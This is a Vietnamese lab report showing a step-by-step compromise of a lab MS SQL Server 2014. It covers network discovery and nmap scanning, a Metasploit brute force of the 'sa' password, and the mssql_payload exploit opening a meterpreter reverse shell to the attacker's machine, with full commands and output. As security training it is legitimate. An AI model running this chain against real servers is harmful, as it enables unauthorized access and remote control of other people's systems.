

REPORT MICROSOFT SQL

1. **Lab Overview:** Khai thác lỗ hổng, leo thang đặc quyền trên microsoft sql server

2. Chuẩn bị

- 01 Windows Server đã cài đặt MS SQL version 2014.
- Có thể sử dụng cmd: netstat -an -P TCP để check xem port của microsoft sql server đã được mở (cụ thể ở đây là port 1433)

```
PS C:\Users\duchi> netstat -an -P TCP
Active Connections

```

Proto	Local Address	Foreign Address	State
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING
TCP	0.0.0.0:1433	0.0.0.0:0	LISTENING
TCP	0.0.0.0:5040	0.0.0.0:0	LISTENING
TCP	0.0.0.0:7680	0.0.0.0:0	LISTENING
TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING
TCP	0.0.0.0:49665	0.0.0.0:0	LISTENING

- 01 Kali Linux hoặc trên Linux có các công cụ như: Netdiscover, Nmap, metasploit.

[!] Lưu ý: SQL Server đã tắt Firewall và disable Microsoft Defender

3. Từng bước khai thác

3.1 Reconnaissance

- sudo netdiscover -r 192.168.58.0/24 để check tất cả địa chỉ IP từ 192.168.58.1 - 192.168.58.255. Ta có thể thấy địa chỉ IP 192.168.68.100 là địa chỉ của windows

```
kali@kali: ~
File Actions Edit View Help
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.58.1	00:50:56:c0:00:08	1	60	VMware, Inc.
192.168.58.2	00:50:56:f9:7d:d3	1	60	VMware, Inc.
192.168.58.100	00:0c:29:02:90:f5	1	60	VMware, Inc.
192.168.58.254	00:50:56:e0:83:28	1	60	VMware, Inc.

- `sudo nmap -sS 192.168.58.100` để thực hiện một cuộc quét **TCP SYN** với mục đích tìm các Port đang mở
 - Port 1433 là port ms sql server đang mở

```

kali@kali: ~
File Actions Edit View Help

(kali@kali)-[~]
$ sudo nmap -sS 192.168.58.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 05:06 EDT
Nmap scan report for 192.168.58.100
Host is up (0.00049s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
MAC Address: 00:0C:29:02:90:F5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.32 seconds

```

- Config các thông tin như username, remote host và set list password.
 [! Lưu ý] : username phải set sao cho trùng với username của microsoft sql server. Thường sẽ có 1 username default là sa nên ta có thể thử set username ⇒ sa

```

msf6 auxiliary(scanner/mssql/mssql_login) > set rhost 192.168.58.100
rhost => 192.168.58.100
msf6 auxiliary(scanner/mssql/mssql_login) > set username sa
username => sa
msf6 auxiliary(scanner/mssql/mssql_login) > set pass_file /home/kali/pass.txt
pass_file => /home/kali/pass.txt

```

- show options để check config ta vừa set

```
File Actions Edit View Help
msf6 auxiliary(scanner/mssql/mssql_login) > show options

Module options (auxiliary/scanner/mssql/mssql_login):
```

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	true	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE	/home/kali/pass.txt	no	File containing passwords, one per line
RHOSTS	192.168.58.100	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1433	yes	The target port (TCP)

- Sử dụng command run để bruteforce mật khẩu (list mật khẩu được lưu ở file /home/kali/pass.txt) ⇒ password=1

```
[*] 192.168.58.100:1433 - 192.168.58.100:1433 - LOGIN FAILED: WORKSTATION\sa: (Incorrect: )
[*] 192.168.58.100:1433 - 192.168.58.100:1433 - LOGIN FAILED: WORKSTATION\sa: (Incorrect: )
[*] 192.168.58.100:1433 - 192.168.58.100:1433 - LOGIN FAILED: WORKSTATION\sa:1612 (Incorrect: )
[+] 192.168.58.100:1433 - 192.168.58.100:1433 - Login Successful: WORKSTATION\sa:1
[*] 192.168.58.100:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mssql/mssql_login) >
```

3.2 Khai thác

- Sử dụng exploit /windows/mssql/mssql_payload để bắt đầu rce
 - set các config như username, password, remote host và database master với username, pw, port đã được ta tìm thấy ở part 3.1

```
msf6 > use exploit/windows/mssql/mssql_payload
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/mssql/mssql_payload) > set username sa
username => sa
msf6 exploit(windows/mssql/mssql_payload) > set rhost 192.168.58.100
rhost => 192.168.58.100
msf6 exploit(windows/mssql/mssql_payload) > set password 1
password => 1
msf6 exploit(windows/mssql/mssql_payload) > set database master
[!] Unknown datastore option: database.
database => master
```

- Chạy câu lệnh run để tạo meterpreter session

```
[*] 192.168.58.100:1433 - Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Sending stage (176198 bytes) to 192.168.58.100
[*] Meterpreter session 1 opened (192.168.58.151:4444 → 192.168.58.100:49923) at 2024-10-20 06:11:50 -0400

meterpreter > |
```

- Chạy pwd và đọc file system.ini để check xem ta đã có thể chạy command thành công

```
meterpreter > pwd
C:\Windows\system32
meterpreter > |
```

```
meterpreter > cat /windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
```